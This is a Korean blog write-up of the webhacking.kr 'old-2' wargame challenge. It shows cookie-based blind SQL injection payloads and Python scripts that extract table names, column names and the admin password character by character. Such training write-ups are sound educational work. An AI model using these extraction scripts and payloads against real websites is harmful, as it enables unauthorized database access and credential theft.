[webhacking.kr] old-2 write-up

두비니

·

2022. 8. 24. 23:14

 

webhacking.kr old-2

Write-Up

 

 

 

1. 문제 분석

 

 

 

 

이번에도 문제를 접속하면 큰 단서 없는 창이 나타난다. 소스코드를 분석하자.

 

 

큰 내용 없이 admin.php로 접속할 경우 빵댕이를 차버릴 것이라고 한다. 접속해보자.

 

 

비밀번호를 입력하라고만 하고 그 외의 힌트는 없다. (소스코드 포함)

기본적으로 sql injection을 시도도 해보았는데, 크게 단서가 없기 때문에 다른 방법을 찾아보았다.

 

 

 

2. Solution

 

이 문제는 Cookie를 통해 blind SQL Injection을 유도하는 문제인 것 같다.

이유는 아래와 같다.

 

 

위와 같이 cookie의 time 값이 기본 페이지의 주석값에 나타나는 것을 알 수 있다.

이를 다른 값으로 바꿀 경우 다음과 같이 바뀐다.

 

 

내가 입력한 숫자로 바뀔 뿐만 아니라, 참/거짓을 판단하는 구문이 있다면 이에 대한 판단도 한 뒤 그 결과를 알려준다.

만약 MySQL의 FROM_UNIXTIME() 함수를 사용하는 경우, 여기에 SQL Injection이 가능할 것이라고 생각된다.

즉, 내가 생각하는 소스코드는 다음과 같다.

SELECT FROM_UNIXTIME($_COOKIE["time"])

 

FROM_UNIXTIME() 함수에 대한 설명은 여기: https://www.w3resource.com/mysql/date-and-time-functions/mysql-from_unixtime-function.php 

 

MySQL FROM_UNIXTIME() function - w3resource

MySQL FROM_UNIXTIME() returns a date /datetime from a version of unix_timestamp.

www.w3resource.com

 

그러면 여기서 다시 문제목표를 다시 파악할 필요가 있다.

 

최종 목표: admin.php 페이지의 secret password를 알아내는 것

필요한 것:

  • table_name
  • column_name (비밀번호가 있는 column)
  • 위에서 찾은 column_name에서 비밀번호 찾기

 

하나하나씩 찾아봅시다.

 

2-1. table_name 찾기

 

가장 먼저 테이블이 몇 개 있는지부터 찾아보자. 숫자로 리턴값을 받을 수 있기 때문에 count()를 통해 몇 개가 있는지까지는 파악할 수 있을 것으로 보인다.

(select count(table_name) from information_schema.tables where table_schema=database())

 

 

 

 

우선 table_name은 총 2개가 있는 것으로 보인다. 이제 각 table의 길이를 알아보자.

(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)
(select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)

 

각각 길이가 13, 그리고 3인 것을 확인할 수 있다. 결국 table의 이름을 알아야 column도 뽑을 수 있는데, 여기서부턴 스크립트를 통해 알아내자.

 

기본 페이로드는 다음과 같다.

// 첫 번째 table name 알아내기
select ascii(substring(table_name,{num},1)) from information_schema.tables where table_schema=database() limit 0,1

// 두 번째 table name 알아내기
select ascii(substring(table_name,{num},1)) from information_schema.tables where table_schema=database() limit 1,1

 

그리고 사용한 script는 다음과 같다. 두 번째 table name은 payload와 for문 range만 바꿔주면 되기 때문에 생략한다.

import requests

url = 'https://webhacking.kr/challenge/web-02/'

cookie = {
	"PHPSESSID": "YOUR_PHPSESSID",
	"time": "",
}

payload = "(select ascii(substring(table_name,{}, 1)) from information_schema.tables where table_schema=database() limit 0,1)"
table_name = ""

for i in range(1, 14):
	cookie["time"] = payload.format(i)
	r = requests.get(url, cookies=cookie)
	res = r.text
	time = res.split('\n')[1]                                 # time = "2070-01-01 09:01:37"
	ascii_code = int(time[14:16])*60 + int(time[17:19])       # time[14:16] = "01", time[17:19] = "37"
	table_name += chr(ascii_code)
	print(table_name)

print(f"[!] Found table_name: {table_name}")

 

그렇게 추출해낸 table_name은 다음과 같다.

 

admin_area_pw와 log 중 우리가 원하는 값은 첫 번째 테이블에 있을 것 같아 첫 번째 테이블을 더 보기로 했다.

 

 

2-2. column_name 찾기

 

우선 table_name은 찾았으니, column_name만 찾으면 될 것 같다.

column_name 속 값의 갯수와 길이를 찾는 페이로드는 다음과 같다.

 

// column_name 갯수 구하기
select count(column_name) from information_schema.tables where table_name="admin_area_pw"
// 길이 구하기
select length(column_name) from information_schema.tables where table_name="admin_area_pw"

 

 

admin_area_pw는 1개의 컬럼만 가지고 있고, 길이도 2밖에 되지 않는 것을 알 수 있다. 이름을 알아보도록 하자.

 

import requests

url = 'https://webhacking.kr/challenge/web-02/'

cookie = {
	"PHPSESSID": "YOUR_PHPSESSID",
	"time": "",
}

payload = "(select ascii(substring(table_name,{}, 1)) from information_schema.tables where table_schema=database() limit 0,1)"
table_name = "admin_area_pw"
column_name = ""

payload = "(select ascii(substring(column_name,{},1)) from information_schema.columns where table_name=\"{}\")"
for i in range(1, 3):
	cookie["time"] = payload.format(i,table_name)
	r = requests.get(url, cookies=cookie)
	res = r.text
	time = res.split('\n')[1]
	ascii_code = int(time[14:16])*60 + int(time[17:19])
	column_name += chr(ascii_code)

print(f"[!] Found column_name : {column_name}")

 

 

column_name이 pw인 것까지 파악했다. 이제 data가 어떤 값인지만 확인하면 끝!

 

 

2-3. data 찾기

 

어차피 반복이긴 하다. 마지막!

 

// column_name 갯수 구하기
select count(pw) from admin_area_pw
// 길이 구하기
select length(pw) from admin_area_pw

 

 

짠! pw는 값이 1개밖에 없고, 길이도 17이다. 한번 더 blind SQL injection을 진행하도록 한다.

결과는 생략.

 

 

import requests

url = 'https://webhacking.kr/challenge/web-02/'

cookie = {
	"PHPSESSID": "YOUR_PHPSESSID",
	"time": "",
}

payload = "(select ascii(substring(table_name,{}, 1)) from information_schema.tables where table_schema=database() limit 0,1)"
table_name = "admin_area_pw"
column_name = "pw"
data = ""

payload = "(select ascii(substring({},{},1)) from {})"
for i in range(1, 18):
	cookie["time"] = payload.format(column_name,i,table_name)
	r = requests.get(url, cookies=cookie)
	res = r.text
	time = res.split('\n')[1]
	ascii_code = int(time[14:16])*60 + int(time[17:19])
	data += chr(ascii_code)

print(f"[!] Found data : {data}")

 

 

3. 결론

 

기본적인 Blind SQL Injection과 더불어 SQL의 구조를 학습할 수 있는 좋은 문제였다.

참고용으로 한번에 data까지 한꺼번에 구할 수 있는 코드도 올린다. (더보기 참조)

더보기
import requests

url = 'https://webhacking.kr/challenge/web-02/'

cookie = {
	"PHPSESSID": "YOUR_PHPSESSID",
	"time": "",
}
table_name = ""
column_name = ""
data = ""

def find_table_name():
	global table_name
	payload = "(select ascii(substring(table_name,{},1)) from information_schema.tables where table_schema=database() limit 0,1)"
	for i in range(1, 14):
		cookie["time"] = payload.format(i)
		r = requests.get(url, cookies=cookie)
		res = r.text
		time = res.split('\n')[1]                               # time = "2070-01-01 09:01:37"
		ascii_code = int(time[14:16])*60 + int(time[17:19])     # time[14:16] = "01",  time[17:19] = "37"
		table_name += chr(ascii_code)
		# print(table_name)

	print(f"[!] Found table_name: {table_name}")

def find_column_name():
	global table_name, column_name
	payload = "(select ascii(substring(column_name,{},1)) from information_schema.columns where table_name=\"{}\")"
	for i in range(1, 3):
		cookie["time"] = payload.format(i,table_name)
		r = requests.get(url, cookies=cookie)
		res = r.text
		time = res.split('\n')[1]
		ascii_code = int(time[14:16])*60 + int(time[17:19])
		column_name += chr(ascii_code)

	print(f"[!] Found column_name : {column_name}")
		
def find_data():
	global table_name, column_name, data
	payload = "(select ascii(substring({},{},1)) from {})"
	for i in range(1, 18):
		cookie["time"] = payload.format(column_name, i,table_name)
		r = requests.get(url, cookies=cookie)
		res = r.text
		time = res.split('\n')[1]
		ascii_code = int(time[14:16])*60 + int(time[17:19])
		data += chr(ascii_code)

	print(f"[!] Found data : {data}")

if __name__ == "__main__":
	find_table_name()
	find_column_name()
	find_data()

 

 

참고

https://www.w3schools.com/sql/sql_create_table.asp

 

SQL CREATE TABLE Statement

W3Schools offers free online tutorials, references and exercises in all the major languages of the web. Covering popular subjects like HTML, CSS, JavaScript, Python, SQL, Java, and many, many more.

www.w3schools.com

 

'War Games > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] old-6 Write-Up  (0) 2022.08.30
[webhacking.kr] old-5 Write-Up  (0) 2022.08.29
[webhacking.kr] old-4 Write-Up  (0) 2022.08.28
[webhacking.kr] old-3 Write-Up  (4) 2022.08.26
[webhacking.kr] old-1 Write-Up  (0) 2022.08.21